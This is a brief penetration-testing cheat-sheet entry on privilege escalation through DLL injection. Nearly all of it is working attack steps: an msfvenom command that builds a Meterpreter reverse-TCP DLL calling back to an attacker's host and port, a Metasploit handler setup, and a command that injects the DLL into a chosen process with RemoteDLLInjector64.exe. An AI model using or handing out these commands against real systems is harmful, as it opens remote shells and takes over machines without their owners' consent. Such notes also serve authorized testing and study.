PrivEsc - DLL Injection

# Create the DLL malicious file
msfvenom -p windows\meterpreter\reverse_tcp LHOST=<ip> LPORT=<port> -f dll > evil.dll

# set up exploit/multi/handler on metasploit

# Using the tool Remote DLL Injector from SecurityXploded (use command tasklist to check process ids)
RemoteDLLInjector64.exe <process id> C:\path\to\evil.dll

# many other DLL Injects are available on Github, check one of them if you want